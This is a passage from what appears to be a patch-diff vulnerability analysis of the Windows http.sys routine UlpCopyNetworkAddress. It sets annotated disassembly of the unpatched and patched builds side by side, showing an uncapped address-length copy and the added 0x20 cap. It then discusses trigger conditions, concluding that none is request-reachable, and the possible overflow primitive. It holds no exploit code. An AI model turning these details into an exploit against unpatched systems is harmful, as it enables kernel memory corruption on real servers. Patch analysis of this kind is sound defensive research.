&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BEC7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14009BED8&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BEC9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BECB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;sockaddr_size&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BED2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; esi = sockaddr_size[af]  (NO size cap)&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BED6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14009BEDF&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BED8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;sockaddr_size&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; default sockaddr_size[0]&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BEDF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_18&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BEE6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BEE9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; rcx = end = arg2 + arg4&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BEEC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BEF0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BEF3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14009BEFF&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; require r14+0x20 &amp;lt;= end&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BEF5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C000000Dh&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BF07&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; r14+0x40&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BF0B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BF0E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14009BEF5&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; require r14+0x40 &amp;lt;= end&lt;/span&gt;
&lt;span class="c1"&gt;; ... no &amp;#39;cmp esi, 0x20&amp;#39; exists between the lookup and the copies ...&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BFB9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BFBD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; Src = block+0x19c&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BFCD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; Size = sockaddr_size[af] (uncapped)&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BFD0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; dst = r14+0x20&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BFD3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r15b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15b&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BFD8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;RtlCopyToUser&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; else RtlCopyVolatileMemory&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BFE4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BFE8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;180&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; Src = block+0x180&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BFEF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; Size (uncapped)&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BFF2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; dst = r14&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BFFA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;RtlCopyToUser&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; else RtlCopyVolatileMemory&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched equivalent (&lt;code&gt;UlpCopyNetworkAddress&lt;/code&gt; @ &lt;code&gt;0x14009B990&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;B9CD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;180&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; sa_family&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;B9D4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;B9D7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14009B9E8&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;B9E2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; esi = sockaddr_size[af]&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;B9EF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_18&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;si&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; length kept as 16-bit&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;B9F7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;B9FA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; rcx = end = arg2 + arg4&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;B9FD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BA01&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BA04&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14009BA1C&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BA06&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C000000Dh&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BA24&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;si&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;&amp;lt;&amp;lt; NEW: cap length to 0x20&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BA28&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14009BA06&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;&amp;lt;&amp;lt; reject if length &amp;gt; 0x20&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BA2A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BA2E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BA31&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14009BA06&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BAFA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;RtlCopyToUser&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; slot 1 copy (length now &amp;lt;= 0x20)&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;000000014009&lt;/span&gt;&lt;span class="nf"&gt;BB1C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;RtlCopyToUser&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; slot 0 copy (length now &amp;lt;= 0x20)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Annotations:&lt;/strong&gt;
- &lt;strong&gt;Missing check (unpatched):&lt;/strong&gt; no &lt;code&gt;cmp esi, 0x20&lt;/code&gt; between the table lookup at &lt;code&gt;0x14009BED2&lt;/code&gt;
  and the copies at &lt;code&gt;0x14009BFD8&lt;/code&gt; / &lt;code&gt;0x14009BFFA&lt;/code&gt;.
- &lt;strong&gt;Added check (patched):&lt;/strong&gt; &lt;code&gt;cmp si, 20h&lt;/code&gt; / &lt;code&gt;ja&lt;/code&gt; at &lt;code&gt;0x14009BA24&lt;/code&gt;–&lt;code&gt;0x14009BA28&lt;/code&gt; short-circuits
  to &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; before the copies.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;The guarded overflow requires the connection's stored address family to select a
&lt;code&gt;sockaddr_size&lt;/code&gt; entry greater than 0x20.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The index is &lt;code&gt;*(uint16*)(*(connection + 0x18) + 0x180)&lt;/code&gt; — the &lt;code&gt;sa_family&lt;/code&gt; of the connection's
   stored transport address. It is fixed when the connection is accepted and is not influenced
   by HTTP method, URL, headers, content-type, charset, or transfer encoding.&lt;/li&gt;
&lt;li&gt;Table entries greater than 0x20 exist only for AF_UNIX (index 1, &lt;code&gt;0x6e&lt;/code&gt; = 110 bytes) and the
   Hyper-V socket family (index 0x22, &lt;code&gt;0x24&lt;/code&gt; = 36 bytes). AF_INET (&lt;code&gt;0x10&lt;/code&gt;) and AF_INET6 (&lt;code&gt;0x1c&lt;/code&gt;)
   are within a slot.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http.sys&lt;/code&gt; HTTP listeners bind over TCP/IP, so in normal operation the family is
   AF_INET/AF_INET6 and the copy length is &lt;code&gt;&amp;lt;= 0x1c&lt;/code&gt;. Servicing a connection over an AF_UNIX or
   Hyper-V-socket transport would be required to select an oversized length, and that is not
   demonstrable from these binaries.&lt;/li&gt;
&lt;li&gt;If such a connection existed, the source addresses at block offsets &lt;code&gt;+0x180&lt;/code&gt; and &lt;code&gt;+0x19c&lt;/code&gt;
   must contain at least &lt;code&gt;length&lt;/code&gt; bytes for the copy to proceed.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There is no request-content-controlled path to an oversized length in either build.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact &amp;amp; Primitive&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Primitive (if an oversized address family were reachable):&lt;/strong&gt; the two copies write
&lt;code&gt;length&lt;/code&gt; bytes each into 0x20-byte slots at &lt;code&gt;a6&lt;/code&gt; and &lt;code&gt;a6 + 0x20&lt;/code&gt;. With &lt;code&gt;length&lt;/code&gt; up to &lt;code&gt;0x6e&lt;/code&gt;,
the writes extend past &lt;code&gt;a6 + 0x40&lt;/code&gt; into the remainder of the &lt;code&gt;HTTP_REQUEST&lt;/code&gt; output buffer.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The destination is the request-marshalling buffer selected by the callers
  &lt;code&gt;UlpDeepCopyRequest&lt;/code&gt; / &lt;code&gt;UlpDeepCopyRequest32&lt;/code&gt;. When the copy-to-user flag is set the copy
  goes through &lt;code&gt;RtlCopyToUser&lt;/code&gt; into the user-mode receive buffer; otherwise
